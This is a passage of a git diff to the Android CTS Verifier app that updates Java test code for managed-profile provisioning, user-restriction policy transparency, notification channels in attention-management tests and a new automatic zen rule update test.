+        mDevicePolicyManager = (DevicePolicyManager)
+                getSystemService(Context.DEVICE_POLICY_SERVICE);
+    }
+
+    @Override
+    protected void setupTests(ArrayTestListAdapter adapter) {
+        mVerifyRedacted = new DialogTestListItem(this,
+                /* name */ R.string.provisioning_byod_recents_verify_redacted,
+                /* testId */ "BYOD_recents_verify_redacted",
+                /* instruction */ R.string.provisioning_byod_recents_verify_redacted_instruction,
+                /* action */ new Intent(DevicePolicyManager.ACTION_SET_NEW_PASSWORD));
+
+        mVerifyNotRedacted = new DialogTestListItem(this,
+                /* name */ R.string.provisioning_byod_recents_verify_not_redacted,
+                /* testId */ "BYOD_recents_verify_not_redacted",
+                /* intruction */ R.string.provisioning_byod_recents_verify_not_redacted_instruction,
+                /* action */ new Intent(DevicePolicyManager.ACTION_SET_NEW_PASSWORD));
+
+        adapter.add(mVerifyRedacted);
+        adapter.add(mVerifyNotRedacted);
+    }
+
+    @Override
+    public void onBackPressed() {
+        if (hasPassword()) {
+            requestRemovePassword();
+            return;
+        }
+        super.onBackPressed();
+    }
+
+    private boolean hasPassword() {
+        try {
+            mDevicePolicyManager.setPasswordQuality(mAdmin,
+                    DevicePolicyManager.PASSWORD_QUALITY_SOMETHING);
+            return mDevicePolicyManager.isActivePasswordSufficient();
+        } finally {
+            mDevicePolicyManager.setPasswordQuality(mAdmin,
+                    DevicePolicyManager.PASSWORD_QUALITY_UNSPECIFIED);
+        }
+    }
+
+    private void requestRemovePassword() {
+        new AlertDialog.Builder(this)
+                .setIcon(android.R.drawable.ic_dialog_info)
+                .setTitle(R.string.provisioning_byod_recents)
+                .setMessage(R.string.provisioning_byod_recents_remove_password)
+                .setPositiveButton(android.R.string.ok, (DialogInterface dialog, int which) -> {
+                    startActivity(new Intent(DevicePolicyManager.ACTION_SET_NEW_PASSWORD));
+                })
+                .show();
+    }
+}
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/UserRestrictions.java b/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/UserRestrictions.java
index 9cb8672..f231b01 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/UserRestrictions.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/UserRestrictions.java
@@ -26,9 +26,11 @@
 import com.android.cts.verifier.R;
 
 import java.util.ArrayList;
+import java.util.Arrays;
+import java.util.List;
 
 public class UserRestrictions {
-    private static final String[] RESTRICTION_IDS = new String[] {
+    private static final String[] RESTRICTION_IDS_FOR_POLICY_TRANSPARENCY = new String[] {
         UserManager.DISALLOW_ADD_USER,
         UserManager.DISALLOW_ADJUST_VOLUME,
         UserManager.DISALLOW_APPS_CONTROL,
@@ -44,6 +46,7 @@
         UserManager.DISALLOW_MODIFY_ACCOUNTS,
         UserManager.DISALLOW_NETWORK_RESET,
         UserManager.DISALLOW_OUTGOING_BEAM,
+        UserManager.DISALLOW_REMOVE_MANAGED_PROFILE,
         UserManager.DISALLOW_REMOVE_USER,
         UserManager.DISALLOW_SHARE_LOCATION,
         UserManager.DISALLOW_UNINSTALL_APPS
@@ -67,6 +70,7 @@
             R.string.disallow_modify_accounts,
             R.string.disallow_network_reset,
             R.string.disallow_outgoing_beam,
+            R.string.disallow_remove_managed_profile,
             R.string.disallow_remove_user,
             R.string.disallow_share_location,
             R.string.disallow_uninstall_apps
@@ -88,6 +92,7 @@
             R.string.disallow_modify_accounts_action,
             R.string.disallow_network_reset_action,
             R.string.disallow_outgoing_beam_action,
+            R.string.disallow_remove_managed_profile_action,
             R.string.disallow_remove_user_action,
             R.string.disallow_share_location_action,
             R.string.disallow_uninstall_apps_action
@@ -105,37 +110,39 @@
             Settings.ACTION_DEVICE_INFO_SETTINGS,
             Settings.ACTION_PRIVACY_SETTINGS,
             Settings.ACTION_DEVICE_INFO_SETTINGS,
-            Settings.ACTION_SECURITY_SETTINGS,
+            Settings.ACTION_MANAGE_UNKNOWN_APP_SOURCES,
             Settings.ACTION_SYNC_SETTINGS,
             Settings.ACTION_WIRELESS_SETTINGS,
             Settings.ACTION_WIRELESS_SETTINGS,
             Settings.ACTION_SETTINGS,
+            Settings.ACTION_SETTINGS,
             Settings.ACTION_LOCATION_SOURCE_SETTINGS,
             Settings.ACTION_APPLICATION_SETTINGS,
         };
 
-        if (RESTRICTION_IDS.length != restrictionLabels.length
-                || RESTRICTION_IDS.length != restrictionActions.length
-                || RESTRICTION_IDS.length != settingsIntentActions.length) {
+        if (RESTRICTION_IDS_FOR_POLICY_TRANSPARENCY.length != restrictionLabels.length
+                || RESTRICTION_IDS_FOR_POLICY_TRANSPARENCY.length != restrictionActions.length
+                || RESTRICTION_IDS_FOR_POLICY_TRANSPARENCY.length != settingsIntentActions.length) {
             throw new AssertionError("Number of items in restrictionIds, restrictionLabels, "
                     + "restrictionActions, and settingsIntentActions do not match");
         }
-        USER_RESTRICTION_ITEMS = new ArrayMap<>(RESTRICTION_IDS.length);
-        for (int i = 0; i < RESTRICTION_IDS.length; ++i) {
-            USER_RESTRICTION_ITEMS.put(RESTRICTION_IDS[i], new UserRestrictionItem(
-                    restrictionLabels[i],
-                    restrictionActions[i],
-                    settingsIntentActions[i]));
+        USER_RESTRICTION_ITEMS = new ArrayMap<>(RESTRICTION_IDS_FOR_POLICY_TRANSPARENCY.length);
+        for (int i = 0; i < RESTRICTION_IDS_FOR_POLICY_TRANSPARENCY.length; ++i) {
+            USER_RESTRICTION_ITEMS.put(RESTRICTION_IDS_FOR_POLICY_TRANSPARENCY[i],
+                    new UserRestrictionItem(
+                            restrictionLabels[i],
+                            restrictionActions[i],
+                            settingsIntentActions[i]));
         }
     }
 
-    private static final ArrayList<String> ALSO_VALID_FOR_PO =
+    private static final ArrayList<String> ALSO_VALID_FOR_PO_POLICY_TRANSPARENCY =
             new ArrayList<String>();
     static {
-        ALSO_VALID_FOR_PO.add(UserManager.DISALLOW_APPS_CONTROL);
-        ALSO_VALID_FOR_PO.add(UserManager.DISALLOW_UNINSTALL_APPS);
-        ALSO_VALID_FOR_PO.add(UserManager.DISALLOW_MODIFY_ACCOUNTS);
-        ALSO_VALID_FOR_PO.add(UserManager.DISALLOW_SHARE_LOCATION);
+        ALSO_VALID_FOR_PO_POLICY_TRANSPARENCY.add(UserManager.DISALLOW_APPS_CONTROL);
+        ALSO_VALID_FOR_PO_POLICY_TRANSPARENCY.add(UserManager.DISALLOW_UNINSTALL_APPS);
+        ALSO_VALID_FOR_PO_POLICY_TRANSPARENCY.add(UserManager.DISALLOW_MODIFY_ACCOUNTS);
+        ALSO_VALID_FOR_PO_POLICY_TRANSPARENCY.add(UserManager.DISALLOW_SHARE_LOCATION);
     }
 
     public static String getRestrictionLabel(Context context, String restriction) {
@@ -156,12 +163,22 @@
         return item;
     }
 
-    public static boolean isValidForPO(String restriction) {
-        return ALSO_VALID_FOR_PO.contains(restriction);
-    }
-
-    public static String[] getUserRestrictions() {
-        return RESTRICTION_IDS;
+    public static List<String> getUserRestrictionsForPolicyTransparency(int mode) {
+        if (mode == PolicyTransparencyTestListActivity.MODE_DEVICE_OWNER) {
+            ArrayList<String> result = new ArrayList<String>();
+            // They are all valid except for DISALLOW_REMOVE_MANAGED_PROFILE
+            for (String st : RESTRICTION_IDS_FOR_POLICY_TRANSPARENCY) {
+                if (!st.equals(UserManager.DISALLOW_REMOVE_MANAGED_PROFILE)) {
+                    result.add(st);
+                }
+            }
+            return result;
+        } else if (mode == PolicyTransparencyTestListActivity.MODE_COMP) {
+            return Arrays.asList(UserManager.DISALLOW_REMOVE_MANAGED_PROFILE);
+        } else if (mode == PolicyTransparencyTestListActivity.MODE_PROFILE_OWNER) {
+            return ALSO_VALID_FOR_PO_POLICY_TRANSPARENCY;
+        }
+        throw new RuntimeException("Invalid mode " + mode);
     }
 
     public static Intent getUserRestrictionTestIntent(Context context, String restriction) {
@@ -229,4 +246,4 @@
             this.intentAction = intentAction;
         }
     }
-}
+}
\ No newline at end of file
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/Utils.java b/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/Utils.java
index db275f2..372ae67 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/Utils.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/Utils.java
@@ -19,15 +19,16 @@
 import android.app.Activity;
 import android.app.AlertDialog;
 import android.app.Notification;
+import android.app.NotificationChannel;
 import android.app.NotificationManager;
 import android.app.admin.DevicePolicyManager;
 import android.content.ActivityNotFoundException;
+import android.content.ComponentName;
 import android.content.Context;
 import android.content.DialogInterface;
 import android.content.Intent;
 import android.util.Log;
 import android.widget.Toast;
-
 import com.android.cts.verifier.IntentDrivenTestActivity;
 import com.android.cts.verifier.IntentDrivenTestActivity.ButtonInfo;
 import com.android.cts.verifier.R;
@@ -37,6 +38,7 @@
 
     private static final String TAG = "CtsVerifierByodUtils";
     static final int BUGREPORT_NOTIFICATION_ID = 12345;
+    private static final String CHANNEL_ID = "BugReport";
 
     static TestListItem createInteractiveTestItem(Activity activity, String id, int titleRes,
             int infoRes, ButtonInfo[] buttonInfos) {
@@ -58,19 +60,33 @@
     static void requestDeleteManagedProfile(Context context) {
         try {
             Intent intent = new Intent(ByodHelperActivity.ACTION_REMOVE_MANAGED_PROFILE);
+            intent.setFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
             context.startActivity(intent);
-            String message = context.getString(R.string.provisioning_byod_delete_profile);
-            Toast.makeText(context, message, Toast.LENGTH_SHORT).show();
         }
         catch (ActivityNotFoundException e) {
             Log.d(TAG, "requestDeleteProfileOwner: ActivityNotFoundException", e);
         }
     }
 
+    static void provisionManagedProfile(Activity activity, ComponentName admin, int requestCode) {
+        Intent sending = new Intent(DevicePolicyManager.ACTION_PROVISION_MANAGED_PROFILE);
+        sending.putExtra(DevicePolicyManager.EXTRA_PROVISIONING_DEVICE_ADMIN_COMPONENT_NAME, admin);
+        if (sending.resolveActivity(activity.getPackageManager()) != null) {
+            activity.startActivityForResult(sending, requestCode);
+        } else {
+            showToast(activity, R.string.provisioning_byod_disabled);
+        }
+    }
+
     static void showBugreportNotification(Context context, String msg, int notificationId) {
         NotificationManager mNotificationManager =
                 (NotificationManager) context.getSystemService(Context.NOTIFICATION_SERVICE);
+
+        NotificationChannel channel = new NotificationChannel(CHANNEL_ID,
+                CHANNEL_ID, NotificationManager.IMPORTANCE_HIGH);
+        mNotificationManager.createNotificationChannel(channel);
         Notification notification = new Notification.Builder(context)
+                .setChannelId(CHANNEL_ID)
                 .setSmallIcon(R.drawable.icon)
                 .setContentTitle(context.getString(
                         R.string.device_owner_requesting_bugreport_tests))
@@ -80,6 +96,10 @@
         mNotificationManager.notify(notificationId, notification);
     }
 
+    static void showToast(Context context, int messageId) {
+        Toast.makeText(context, messageId, Toast.LENGTH_SHORT).show();
+    }
+
     /**
      * Prompts the tester to set a screen lock credential, or change it if one exists.
      *
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/notifications/AttentionManagementVerifierActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/notifications/AttentionManagementVerifierActivity.java
index 9d9a4bc..23744c7 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/notifications/AttentionManagementVerifierActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/notifications/AttentionManagementVerifierActivity.java
@@ -21,6 +21,8 @@
 import static com.android.cts.verifier.notifications.MockListener.JSON_TAG;
 
 import android.app.Notification;
+import android.app.NotificationChannel;
+import android.app.NotificationManager;
 import android.content.ContentProviderOperation;
 import android.content.OperationApplicationException;
 import android.database.Cursor;
@@ -47,6 +49,8 @@
         extends InteractiveVerifierActivity {
     private static final String TAG = "NoListenerAttentionVerifier";
 
+    private static final String NOTIFICATION_CHANNEL_ID = TAG;
+    private static final String NOTIFICATION_CHANNEL_ID_NOISY = TAG + "/noisy";
     private static final String ALICE = "Alice";
     private static final String ALICE_PHONE = "+16175551212";
     private static final String ALICE_EMAIL = "alice@_foo._bar";
@@ -96,7 +100,7 @@
         tests.add(new SetModeAllTest());
         tests.add(new AllInterceptsNothingTest());
         tests.add(new DefaultOrderTest());
-        tests.add(new PrioritytOrderTest());
+        tests.add(new PriorityOrderTest());
         tests.add(new InterruptionOrderTest());
         tests.add(new AmbientBitsTest());
         tests.add(new LookupUriOrderTest());
@@ -106,6 +110,21 @@
         return tests;
     }
 
+    private void createChannels() {
+        NotificationChannel channel = new NotificationChannel(NOTIFICATION_CHANNEL_ID,
+                NOTIFICATION_CHANNEL_ID, NotificationManager.IMPORTANCE_MIN);
+        mNm.createNotificationChannel(channel);
+        NotificationChannel noisyChannel = new NotificationChannel(NOTIFICATION_CHANNEL_ID_NOISY,
+                NOTIFICATION_CHANNEL_ID_NOISY, NotificationManager.IMPORTANCE_HIGH);
+        noisyChannel.enableVibration(true);
+        mNm.createNotificationChannel(noisyChannel);
+    }
+
+    private void deleteChannels() {
+        mNm.deleteNotificationChannel(NOTIFICATION_CHANNEL_ID);
+        mNm.deleteNotificationChannel(NOTIFICATION_CHANNEL_ID_NOISY);
+    }
+
     // Tests
 
     protected class InsertContactsTest extends InteractiveTestCase {
@@ -213,6 +232,7 @@
 
         @Override
         void setUp() {
+            createChannels();
             sendNotifications(MODE_URI, false, false);
             status = READY;
             // wait for notifications to move through the system
@@ -267,6 +287,7 @@
         @Override
         void tearDown() {
             mNm.cancelAll();
+            deleteChannels();
             MockListener.resetListenerData(mContext);
             delay();
         }
@@ -305,6 +326,7 @@
 
         @Override
         void setUp() {
+            createChannels();
             sendNotifications(MODE_URI, false, false);
             status = READY;
             // wait for notifications to move through the system
@@ -358,6 +380,7 @@
         @Override
         void tearDown() {
             mNm.cancelAll();
+            deleteChannels();
             MockListener.resetListenerData(mContext);
             delay();
         }
@@ -395,6 +418,7 @@
 
         @Override
         void setUp() {
+            createChannels();
             sendNotifications(MODE_URI, false, false);
             status = READY;
             // wait for notifications to move through the system
@@ -448,6 +472,7 @@
         @Override
         void tearDown() {
             mNm.cancelAll();
+            deleteChannels();
             MockListener.resetListenerData(mContext);
             delay();
         }
@@ -462,6 +487,7 @@
 
         @Override
         void setUp() {
+            createChannels();
             sendNotifications(MODE_NONE, false, false);
             status = READY;
             // wait for notifications to move through the system
@@ -492,13 +518,14 @@
         @Override
         void tearDown() {
             mNm.cancelAll();
+            deleteChannels();
             MockListener.resetListenerData(mContext);
             delay();
         }
     }
 
     // ordered by priority: B, C, A
-    protected class PrioritytOrderTest extends InteractiveTestCase {
+    protected class PriorityOrderTest extends InteractiveTestCase {
         @Override
         View inflate(ViewGroup parent) {
             return createAutoItem(parent, R.string.attention_priority_order);
@@ -506,6 +533,7 @@
 
         @Override
         void setUp() {
+            createChannels();
             sendNotifications(MODE_NONE, true, false);
             status = READY;
             // wait for notifications to move through the system
@@ -536,6 +564,7 @@
         @Override
         void tearDown() {
             mNm.cancelAll();
+            deleteChannels();
             MockListener.resetListenerData(mContext);
             delay();
         }
@@ -552,8 +581,9 @@
 
         @Override
         void setUp() {
-            // send B & C noisy
-            sendNotifications(SEND_B | SEND_C, MODE_NONE, false, true);
+            createChannels();
+            // send B & C noisy with contact affinity
+            sendNotifications(SEND_B | SEND_C, MODE_URI, false, true);
             status = READY;
             // wait for then to not be recently noisy any more
             delay(15000);
@@ -562,7 +592,7 @@
         @Override
         void test() {
             if (status == READY) {
-                // send A noisy
+                // send A noisy but no contact affinity
                 sendNotifications(SEND_A, MODE_NONE, false, true);
                 status = RETEST;
                 delay();
@@ -601,6 +631,7 @@
         @Override
         void tearDown() {
             mNm.cancelAll();
+            deleteChannels();
             MockListener.resetListenerData(mContext);
             delay();
         }
@@ -615,7 +646,9 @@
 
         @Override
         void setUp() {
-            sendNotifications(MODE_NONE, true, false);
+            createChannels();
+            sendNotifications(SEND_B | SEND_C, MODE_NONE, true, true);
+            sendNotifications(SEND_A, MODE_NONE, true, false);
             status = READY;
             // wait for notifications to move through the system
             delay();
@@ -668,6 +701,7 @@
         @Override
         void tearDown() {
             mNm.cancelAll();
+            deleteChannels();
             MockListener.resetListenerData(mContext);
             delay();
         }
@@ -682,6 +716,7 @@
 
         @Override
         void setUp() {
+            createChannels();
             sendNotifications(MODE_URI, false, false);
             status = READY;
             // wait for notifications to move through the system
@@ -712,6 +747,7 @@
         @Override
         void tearDown() {
             mNm.cancelAll();
+            deleteChannels();
             MockListener.resetListenerData(mContext);
             delay();
         }
@@ -726,6 +762,7 @@
 
         @Override
         void setUp() {
+            createChannels();
             sendNotifications(MODE_EMAIL, false, false);
             status = READY;
             // wait for notifications to move through the system
@@ -756,6 +793,7 @@
         @Override
         void tearDown() {
             mNm.cancelAll();
+            deleteChannels();
             MockListener.resetListenerData(mContext);
             delay();
         }
@@ -770,6 +808,7 @@
 
         @Override
         void setUp() {
+            createChannels();
             sendNotifications(MODE_PHONE, false, false);
             status = READY;
             // wait for notifications to move through the system
@@ -800,6 +839,7 @@
         @Override
         void tearDown() {
             mNm.cancelAll();
+            deleteChannels();
             MockListener.resetListenerData(mContext);
             delay();
         }
@@ -826,39 +866,39 @@
         int priorityB = usePriorities ? Notification.PRIORITY_MAX : Notification.PRIORITY_DEFAULT;
         int priorityC = usePriorities ? Notification.PRIORITY_LOW : Notification.PRIORITY_DEFAULT;
 
+        final String channelId = noisy ? NOTIFICATION_CHANNEL_ID_NOISY : NOTIFICATION_CHANNEL_ID;
+
         if ((which & SEND_B) != 0) {
-            Notification.Builder bob = new Notification.Builder(mContext)
+            Notification.Builder bob = new Notification.Builder(mContext, channelId)
                     .setContentTitle(BOB)
                     .setContentText(BOB)
                     .setSmallIcon(R.drawable.ic_stat_bob)
                     .setPriority(priorityB)
                     .setCategory(Notification.CATEGORY_MESSAGE)
                     .setWhen(whenB);
-            bob.setDefaults(noisy ? Notification.DEFAULT_SOUND | Notification.DEFAULT_VIBRATE : 0);
             addPerson(uriMode, bob, mBobUri, BOB_PHONE, BOB_EMAIL);
             mNm.notify(BOB, NOTIFICATION_ID + 2, bob.build());
         }
         if ((which & SEND_C) != 0) {
-            Notification.Builder charlie = new Notification.Builder(mContext)
-                    .setContentTitle(CHARLIE)
-                    .setContentText(CHARLIE)
-                    .setSmallIcon(R.drawable.ic_stat_charlie)
-                    .setPriority(priorityC)
-                    .setCategory(Notification.CATEGORY_MESSAGE)
-                    .setWhen(whenC);
-            charlie.setDefaults(noisy ? Notification.DEFAULT_SOUND | Notification.DEFAULT_VIBRATE : 0);
+            Notification.Builder charlie =
+                    new Notification.Builder(mContext, channelId)
+                            .setContentTitle(CHARLIE)
+                            .setContentText(CHARLIE)
+                            .setSmallIcon(R.drawable.ic_stat_charlie)
+                            .setPriority(priorityC)
+                            .setCategory(Notification.CATEGORY_MESSAGE)
+                            .setWhen(whenC);
             addPerson(uriMode, charlie, mCharlieUri, CHARLIE_PHONE, CHARLIE_EMAIL);
             mNm.notify(CHARLIE, NOTIFICATION_ID + 3, charlie.build());
         }
         if ((which & SEND_A) != 0) {
-            Notification.Builder alice = new Notification.Builder(mContext)
+            Notification.Builder alice = new Notification.Builder(mContext, channelId)
                     .setContentTitle(ALICE)
                     .setContentText(ALICE)
                     .setSmallIcon(R.drawable.ic_stat_alice)
                     .setPriority(priorityA)
                     .setCategory(Notification.CATEGORY_MESSAGE)
                     .setWhen(whenA);
-            alice.setDefaults(noisy ? Notification.DEFAULT_SOUND | Notification.DEFAULT_VIBRATE : 0);
             addPerson(uriMode, alice, mAliceUri, ALICE_PHONE, ALICE_EMAIL);
             mNm.notify(ALICE, NOTIFICATION_ID + 1, alice.build());
         }
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/notifications/ConditionProviderVerifierActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/notifications/ConditionProviderVerifierActivity.java
index 0b0be81..24d88b7 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/notifications/ConditionProviderVerifierActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/notifications/ConditionProviderVerifierActivity.java
@@ -27,7 +27,6 @@
 import android.provider.Settings;
 import android.provider.Settings.Secure;
 import android.text.TextUtils;
-import android.util.Log;
 import android.view.View;
 import android.view.ViewGroup;
 
@@ -60,6 +59,7 @@
         tests.add(new IsEnabledTest());
         tests.add(new ServiceStartedTest());
         tests.add(new CreateAutomaticZenRuleTest());
+        tests.add(new UpdateAutomaticZenRuleTest());
         tests.add(new GetAutomaticZenRuleTest());
         tests.add(new GetAutomaticZenRulesTest());
         tests.add(new SubscribeAutomaticZenRuleTest());
@@ -171,6 +171,54 @@
         }
     }
 
+    private class UpdateAutomaticZenRuleTest extends InteractiveTestCase {
+        private String id = null;
+
+        @Override
+        View inflate(ViewGroup parent) {
+            return createAutoItem(parent, R.string.cp_update_rule);
+        }
+
+        @Override
+        void setUp() {
+            id = mNm.addAutomaticZenRule(createRule("BeforeUpdate", "beforeValue",
+                    NotificationManager.INTERRUPTION_FILTER_ALARMS));
+            status = READY;
+            delay();
+        }
+
+        @Override
+        void test() {
+            AutomaticZenRule updated = mNm.getAutomaticZenRule(id);
+            updated.setName("AfterUpdate");
+            updated.setConditionId(MockConditionProvider.toConditionId("afterValue"));
+            updated.setInterruptionFilter(NotificationManager.INTERRUPTION_FILTER_NONE);
+
+            try {
+                boolean success = mNm.updateAutomaticZenRule(id, updated);
+                if (success && updated.equals(mNm.getAutomaticZenRule(id))) {
+                    status = PASS;
+                } else {
+                    logFail();
+                    status = FAIL;
+                }
+            } catch (Exception e) {
+                logFail("update failed", e);
+                status = FAIL;
+            }
+            next();
+        }
+
+        @Override
+        void tearDown() {
+            if (id != null) {
+                mNm.removeAutomaticZenRule(id);
+            }
+            MockConditionProvider.resetData(mContext);
+            delay();
+        }
+    }
+
     private class SubscribeAutomaticZenRuleTest extends InteractiveTestCase {
         private String id = null;
         private AutomaticZenRule ruleToCreate;
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/notifications/InteractiveVerifierActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/notifications/InteractiveVerifierActivity.java
index 27ad8b3..de3b050 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/notifications/InteractiveVerifierActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/notifications/InteractiveVerifierActivity.java
@@ -26,6 +26,7 @@
 import android.content.pm.PackageManager;
 import android.os.Bundle;
 import android.os.IBinder;
+import android.os.Parcelable;
 import android.provider.Settings.Secure;
 import android.util.Log;
 import android.view.LayoutInflater;
@@ -38,8 +39,10 @@
 import com.android.cts.verifier.R;
 
 import java.util.ArrayList;
+import java.util.Arrays;
 import java.util.Iterator;
 import java.util.List;
+import java.util.Objects;
 import java.util.concurrent.LinkedBlockingQueue;
 
 public abstract class InteractiveVerifierActivity extends PassFailButtons.Activity
@@ -123,6 +126,11 @@
             logWithStack("failed " + this.getClass().getSimpleName() +
                     ((message == null) ? "" : ": " + message));
         }
+
+        protected void logFail(String message, Exception e) {
+            Log.e(TAG, "failed " + this.getClass().getSimpleName() +
+                    ((message == null) ? "" : ": " + message), e);
+        }
     }
 
     abstract int getTitleResource();
@@ -267,6 +275,7 @@
 
             case FAIL:
                 Log.i(TAG, "FAIL: " + mCurrentTest.getClass().getSimpleName());
+                mCurrentTest.tearDown();
                 mCurrentTest = null;
                 break;
 
@@ -302,6 +311,14 @@
         delay(3000);
     }
 
+    protected void sleep(long time) {
+        try {
+            Thread.sleep(time);
+        } catch (InterruptedException e) {
+            e.printStackTrace();
+        }
+    }
+
     /**
      * Wait for some time.
      */
@@ -341,6 +358,38 @@
         return pi;
     }
 
+    protected boolean checkEquals(long[] expected, long[] actual, String message) {
+        if (Arrays.equals(expected, actual)) {
+            return true;
+        }
+        logWithStack(String.format(message, expected, actual));
+        return false;
+    }
+
+    protected boolean checkEquals(Object[] expected, Object[] actual, String message) {
+        if (Arrays.equals(expected, actual)) {
+            return true;
+        }
+        logWithStack(String.format(message, expected, actual));
+        return false;
+    }
+
+    protected boolean checkEquals(Parcelable expected, Parcelable actual, String message) {
+        if (Objects.equals(expected, actual)) {
+            return true;
+        }
+        logWithStack(String.format(message, expected, actual));
+        return false;
+    }
+
+    protected boolean checkEquals(boolean expected, boolean actual, String message) {
+        if (expected == actual) {
+            return true;
+        }
+        logWithStack(String.format(message, expected, actual));
+        return false;
+    }
+
     protected boolean checkEquals(long expected, long actual, String message) {
         if (expected == actual) {
             return true;
@@ -349,7 +398,7 @@
         return false;
     }
 
-    protected boolean checkEquals(String expected, String actual, String message) {
+    protected boolean checkEquals(CharSequence expected, CharSequence actual, String message) {
         if (expected.equals(actual)) {
             return true;
         }
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/notifications/MockListener.java b/apps/CtsVerifier/src/com/android/cts/verifier/notifications/MockListener.java
index c80f371..d311faa 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/notifications/MockListener.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/notifications/MockListener.java
@@ -16,11 +16,14 @@
 package com.android.cts.verifier.notifications;
 
 import android.app.Activity;
+import android.app.Notification;
 import android.content.BroadcastReceiver;
+import android.content.ComponentName;
 import android.content.Context;
 import android.content.Intent;
 import android.content.IntentFilter;
 import android.os.Bundle;
+import android.os.Parcelable;
 import android.service.notification.NotificationListenerService;
 import android.service.notification.StatusBarNotification;
 import android.util.ArrayMap;
@@ -29,7 +32,6 @@
 import org.json.JSONException;
 import org.json.JSONObject;
 
-import java.lang.reflect.InvocationTargetException;
 import java.util.ArrayList;
 import java.util.HashSet;
 import java.util.List;
@@ -38,23 +40,33 @@
 public class MockListener extends NotificationListenerService {
     static final String TAG = "MockListener";
 
+    public static final ComponentName COMPONENT_NAME =
+            new ComponentName("com.android.cts.verifier", MockListener.class.getName());
+
     static final String SERVICE_BASE = "android.service.notification.cts.";
     static final String SERVICE_CHECK = SERVICE_BASE + "SERVICE_CHECK";
     static final String SERVICE_POSTED = SERVICE_BASE + "SERVICE_POSTED";
     static final String SERVICE_PAYLOADS = SERVICE_BASE + "SERVICE_PAYLOADS";
     static final String SERVICE_REMOVED = SERVICE_BASE + "SERVICE_REMOVED";
+    static final String SERVICE_REMOVED_REASON = SERVICE_BASE + "SERVICE_REMOVED";
     static final String SERVICE_RESET = SERVICE_BASE + "SERVICE_RESET";
     static final String SERVICE_CLEAR_ONE = SERVICE_BASE + "SERVICE_CLEAR_ONE";
     static final String SERVICE_CLEAR_ALL = SERVICE_BASE + "SERVICE_CLEAR_ALL";
-    public static final String SERVICE_ORDER = SERVICE_BASE + "SERVICE_ORDER";
-    public static final String SERVICE_DND = SERVICE_BASE + "SERVICE_DND";
+    static final String SERVICE_SNOOZE = SERVICE_BASE + "SERVICE_SNOOZE";
+    static final String SERVICE_HINTS = SERVICE_BASE + "SERVICE_HINTS";
+    static final String SERVICE_PROBE_HINTS = SERVICE_BASE + "SERVICE_PROBE_HINTS";
+    static final String SERVICE_ORDER = SERVICE_BASE + "SERVICE_ORDER";
+    static final String SERVICE_DND = SERVICE_BASE + "SERVICE_DND";
+    static final String SERVICE_SNOOZE_DURATION = SERVICE_BASE + "SERVICE_SNOOZE_DURATION";
+    static final String SERVICE_GET_SNOOZED = SERVICE_BASE + "GET_SNOOZED";
 
     static final String EXTRA_PAYLOAD = "PAYLOAD";
+    static final String EXTRA_POSTED_NOTIFICATIONS = "NOTIFICATION_PAYLOAD";
     static final String EXTRA_INT = "INT";
     static final String EXTRA_TAG = "TAG";
     static final String EXTRA_CODE = "CODE";
+    static final String EXTRA_LONG = "LONG";
 
-    static final int RESULT_TIMEOUT = Activity.RESULT_FIRST_USER;
     static final int RESULT_NO_SERVER = Activity.RESULT_FIRST_USER + 1;
 
     public static final String JSON_FLAGS = "flag";
@@ -66,15 +78,20 @@
     public static final String JSON_RANK = "rank";
     public static final String JSON_AMBIENT = "ambient";
     public static final String JSON_MATCHES_ZEN_FILTER = "matches_zen_filter";
+    public static final String JSON_REASON = "reason";
+    public static final String JSON_HINTS = "hints";
 
     private ArrayList<String> mPosted = new ArrayList<String>();
     private ArrayMap<String, JSONObject> mNotifications = new ArrayMap<>();
     private ArrayMap<String, String> mNotificationKeys = new ArrayMap<>();
     private ArrayList<String> mRemoved = new ArrayList<String>();
+    private ArrayMap<String, JSONObject> mRemovedReason = new ArrayMap<>();
+    private ArrayList<String> mSnoozed = new ArrayList<>();
     private ArrayList<String> mOrder = new ArrayList<>();
     private Set<String> mTestPackages = new HashSet<>();
     private BroadcastReceiver mReceiver;
     private int mDND = -1;
+    private ArrayList<Notification> mPostedNotifications = new ArrayList<Notification>();
 
     @Override
     public void onCreate() {
@@ -86,35 +103,31 @@
 
         mPosted = new ArrayList<String>();
         mRemoved = new ArrayList<String>();
+        mSnoozed = new ArrayList<String>();
+        mPostedNotifications = new ArrayList<Notification>();
 
         mReceiver = new BroadcastReceiver() {
             @Override
             public void onReceive(Context context, Intent intent) {
-                String action = intent.getAction();
+                final String action = intent.getAction();
+                final Bundle bundle = new Bundle();
+                Log.d(TAG, action);
                 if (SERVICE_CHECK.equals(action)) {
-                    Log.d(TAG, "SERVICE_CHECK");
                     setResultCode(Activity.RESULT_OK);
                 } else if (SERVICE_POSTED.equals(action)) {
-                    Log.d(TAG, "SERVICE_POSTED");
-                    Bundle bundle = new Bundle();
                     bundle.putStringArrayList(EXTRA_PAYLOAD, mPosted);
+                    bundle.putParcelableArrayList(EXTRA_POSTED_NOTIFICATIONS, mPostedNotifications);
                     setResultExtras(bundle);
                     setResultCode(Activity.RESULT_OK);
                 } else if (SERVICE_DND.equals(action)) {
-                    Log.d(TAG, "SERVICE_DND");
-                    Bundle bundle = new Bundle();
